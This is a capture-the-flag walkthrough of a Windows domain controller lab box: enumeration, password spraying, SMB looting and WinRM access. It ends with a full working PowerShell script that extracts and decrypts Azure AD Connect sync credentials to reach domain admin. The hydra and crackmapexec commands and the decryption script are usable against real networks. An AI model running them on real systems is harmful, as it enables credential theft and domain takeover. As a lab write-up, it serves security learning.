Summary
- Another Windows Domain Controller Machine.
- We get a full list of domain users by enumerating RPC and are able to login with a user called
SABatchJobs
whose password was his own username. - Enumerating the SMB access for this user, we find that he could read a certain XML file which contained a password.
- After spraying the password over all users, it turns out to belong to another user called
mhope
who happens to have PowerShell Remoting access and who’s a member of theAzure Admins
AD group. Which was interesting. - Additionally, we found a special folder called
.Azure
inmhope
’s user profile. It contained remnants of a connection made to Azure. - We also find
Azure AD Connect
installed in theC:\Program Files
directory which all stuck out and brought our attention to search for Privilege Escalation paths along that way. - Searching Google for
Privilege Escalation Using Azure AD Connect
, we find a blog post that gives us a bit of background on whatAzure AD Connect
does and how to exploit it to gain Domain Admin privileges. - Since
Azure AD Connect
uses an account to sync passwords between the On-prem Active Directory and the Azure Instance, this account must be grantedDCSync
rights for the functionality to work. - The credentials for this account are stored within the local MSSQL database that’s included in the installation of
Azure AD Connect
. Even thought they are encrypted, their decryption keys are also present on the same database. - Since our user
mhope
had access to that local DB, We were able to extract and decrypt those credentials after doing a few tweaks to the PowerShell script provided by the blog author. - They turn out to be the Domain Administrator’s creds and we root the box.
Nmap
No special scan here. Just the standard nmap
with -sC
for default scripts and -sV
for version detection on all ports.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-23 17:15:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49747/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-06-23T17:16:47
|_ start_date: N/A
We notice it’s a Windows box with few ports indicative of a Domain Controller: DNS on tcp 53, Kerberos on tcp 88 and LDAP on tcp 389.
The domain name is MEGABANK.LOCAL and the hostname is MONTEVERDE
We also have WinRM open on tcp 5985 which would be handy to get remote code execution for any user present in either Administrators or Remote Management Users local groups.
Username Enumeration
Using a tool called enum4linux-ng
, we are able to get a list of usernames via RPC
:
Command:
enum4linx-ng -A 10.10.10.172
No interesting info was in the description except for one user: AAD_987d7f2f57d2
It said: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
This hinted at the possibility that this account might have DCSync rights. If that was true, then getting access as that user would mean game over :D
We take note of that and get the Domain Password Policy from the output as well.
With no account lockout configured, we can spray like there’s no tomorrow :D
ASREPRoasting then Password Spraying
Since ASREPRoasting is the first thing to do with a userlist, we tried it but weren’t awarded with any hashes. So we turned to Password Spraying.
We make a quick list of common passwords to try like ‘P@ssw0rd’, ‘Welcome1’ etc. but don’t get anything :/
So we try using the usernames themselves as passwords. We do so using hydra
and we get a hit!
Command:
hydra -e s -L users.txt ldap3://10.10.10.172 -v
where the -e
flag with the s
argument is the part instructing hydra
to use the same entry for both username and password.
SMB Access
After we verify that SABatchJobs
doesn’t have WinRM access, we enumerate SMB as him using crackmapexec
’s spider_plus
module.
This module does as the name suggests: it recursively spiders SMB shares and outputs the results in a temp folder.
Command:
crackmapexec smb 10.10.10.172 -u SABatchJobs -p SABatchJobs -M spider_plus
Looking at the results in the output JSON file, we notice a very interesting file: azure.xml
which existed in the users
share under the folder for the mhope
user:
We connect to the share with smbclient
and download the file to view its contents:
Command:
smbclient //10.10.10.172/users$ -U SABatchJobs
and we get a password!
Shell Access as mhope
After getting this password, we immediately spray it over the domain users. We find that it’s valid and that we have WinRM access as well!
Command:
crackmapexec winrm 10.10.10.172 -u users.txt -p '4n0therD4y@n0th3r$' --continue-on-success
Note: we used the --continue-on-success
to be able to take advantage of any password reuse.
We login using evil-winrm
to get a PowerShell session on the box:
Command:
evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'
Enumeration before Privesc
Running a quick whoami /groups
command shows that we are in an AD group called Azure Admins
We also notice a strange folder on mhope
’s user profile.
And in the c:\Program Files
directory, we find a whole bunch of software relevant to Azure AD Sync
Right now, our senses are tingling. Because, we had a lot of signs along the way that are pointing towards this area:
- the
AAD_987d7f2f57d2
user - the
azure.xml
file - the
Azure Admins
group membership - the
.Azure
folder - the Azure related software in
Program Files
So we go ahead and do some googling :D
Research
We decide to use a broad term in our first search to make things easier for ourselves. We type in: “Azure AD Sync Privilege Escalation”
and we get this awesome blog post here:
Reading the post, we learn that Azure AD Connect is: a tool for integrating between both On-Prem Active Directory Deployments and Azure AD.
It has the Password Hash Syncronization (PHS) feature which “uploads user accounts and password hashes from Active Directory to Azure”.
We also learn that: during the setup, an AD account is used to perform the sync process. And is granted the necessary permissions to be able to access all the domain hashes.
One more thing we notice: is that the credentials for the synchronization account are found on the local database included in the installation process.
And, even though they are encrypted, the key to decrypt them is also present on the same database.
Trying the PowerShell Script
The researcher and blog author “Adam Chester” had thankfully created a script that takes care of all the above and dumps us the stored credentials if we had access to the database.
We’re going to use a brief command to try connecting to the local database to see if we can query it: sqlcmd -Q "SELECT name FROM master.dbo.sysdatabases"
Seems like we do!
After using the script, we notice that it runs. But it stops right after it prints its banner and we lose our shell.
Troubleshooting
Since the script isn’t big (< 40 lines), It wouldn’t be difficult to step through it line-by-line to find out what’s wrong.
we take a look at the first 5 lines:
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
And start by running the part which defines how the script will connect to the database a.k.a the “connection string”.
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
which runs okay. Because we’re not really taking any action here. Just initializing an object of the type “System.Data.SqlClient.SqlConnection”. Nothing more.
We get the error on the $client.Open()
part though:
Reading the sentences in the error tells us something about network-related errors and trying to reach the SQL server remotely.
we confirm this by consulting the Microsoft Documentation on connection strings here.
it says the “Data Source” is for the “The name or network address of the instance of SQL Server to which to connect.”.
so we change it up and just use localhost
instead. But, we get a different error this time:
Seems that the connection string doesn’t use our mhope
user credentials.
Looking again at the Microsoft Documentation, we find info related to authentication:
After modyfing the connection string, we get no errors when opening the connection. Seems promising! :)
Enough Troubleshooting. Let me see some creds!
After modifying the connection string, let’s go over what the script does in brief:
- Defining the connection string: we’re connecting to the ADSync DB on the local computer using Windows Authentication
$connection_string = "Data Source=localhost;Initial Catalog=ADSync;Integrated Security=true;"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList $connection_string
$client.Open()
$cmd = $client.CreateCommand()
- Querying for the important bits to do the decryption:
keyset_id
,instance_id
andentropy
from themms_server_configuration
table
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
- Obtaining the configuration items:
private_configuration_xml
andencrypted_configuration
from themms_management_agent
table
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
- Loading the
mcrypt.dll
into memory and carrying out the decryption using the keys extracted from Step #1
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
- Selecting the domain, username and password from the XML-formatted output and printing them to the screen.
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
With everything in place, we run the script and get a clean set of creds ;]
The creds are good and the box is owned :D